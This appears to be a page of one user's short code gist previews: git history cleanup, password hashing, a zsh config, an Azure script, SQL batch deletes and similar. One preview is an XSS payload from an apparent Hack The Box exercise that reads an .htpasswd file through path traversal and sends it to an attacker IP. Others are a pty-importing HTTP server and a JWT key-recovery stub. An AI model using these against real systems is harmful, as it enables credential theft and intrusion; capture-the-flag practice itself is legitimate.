Wind010

pip install git-filter-repo

$filesToDelete = @("some.txt", "other.txt")
$excludeFolders = @("template")

Get-ChildItem -Path . -Recurse -File | Where-Object {
    $filesToDelete.Contains($_.Name) -and
    -not $excludeFolders.Contains($_.Directory.Name)
} | % { git filter-repo --path $_.FullName --invert-paths  --Force }

Wind010

cat <<EOF > exploit.md
<script>
  fetch("http://xxxxx.htb/messages.php?file=../../../../var/www/statistics.xxxxx.htb/.htpasswd")
    .then(response => response.text())
    .then(data => {
      fetch("http://10.10.xx.xx:8000/?data=" + btoa(data));
    })
    .catch(error => console.error("Error fetching the messages:", error));
</script>
EOF

Wind010

const base64Decode = str => Uint8Array.from(atob(str), c => c.charCodeAt(0));
const base64Encode = bytes => btoa(String.fromCharCode(...new Uint8Array(bytes)));

const generatePassword = async (nounce, saltedPassword) => {
    const bytesNounce = base64Decode(nounce);
    const bytesSaltedPassword = base64Decode(saltedPassword);
    const concatenatedBytes = new Uint8Array([...bytesNounce, ...bytesSaltedPassword]);
    const hash = await crypto.subtle.digest('SHA-256', concatenatedBytes);
    return base64Encode(hash);
};

Wind010

#!/usr/bin/env python
import argparse
import http.server
import socketserver
import socket
import os
import pty


class CustomRequestHandler(http.server.SimpleHTTPRequestHandler):

Wind010

import itertools

n = 3 
names = [
    "Jordan", "Haig", "Emily", "Johns", "Elisa", "Maldonado", "Brandi", "Simmons", "Gerard", "Sekawa", "Shelly", "Buckle", "Alice", "Apple", "Maxis", "Stewart", "Olivia", "Johnson", "Ava", "Brown", "Sophia", "Taylor", "Amelia", "Davis", "Evelyn", "Rodriguez", "Emma", "Smith", "Charlotte", "Jones", "Mia", "Miller", "Harper", "Garcia", "Abigail", "Martinez"
]
permutations = [''.join(p) for p in itertools.product(names, repeat=n)]
[print(perm) for perm in permutations]

Wind010

from codecs import encode, decode
import hashlib
import hmac
import json

# https://github.com/FlorianPicca/JWT-Key-Recovery
with open('pub.pem', 'rb') as f:
    key = f.read()

header = b'{"typ":"JWT","alg":"HS256"}'

Wind010

# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:/usr/local/bin:$PATH

# Path to your oh-my-zsh installation.
export ZSH="$HOME/.oh-my-zsh"

# Set name of the theme to load --- if set to "random", it will
# load a random theme each time oh-my-zsh is loaded, in which case,
# to know which specific one was loaded, run: echo $RANDOM_THEME
# See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes

Wind010

param(
    [Parameter(Mandatory=$true)]
    [string]$KeyVaultName,

    [Parameter(Mandatory=$true)]
    [string]$SubscriptionName
)

az account set -s "$SubscriptionName"

Wind010

import base64

def base64_decode(encoded_str, url_safe=True):
    hexadecimal_hash = ''
    padding = 4 - (len(encoded_str) % 4)
    if padding and padding != 4:  # Padding can be 1, 2, or 3
        encoded_str += '=' * padding
        print(encoded_str)
        
    if url_safe:

Wind010

/*
SQL to batch delete specific rows wrapped wrapped in transaction.
*/

DECLARE @BatchSize INT = 1000; 
DECLARE @RowsAffected INT = 1;
DECLARE @Batches INT = 10;
DECLARE @BatchCount INT = 0;

WHILE @RowsAffected > 0 AND @BatchCount < @Batches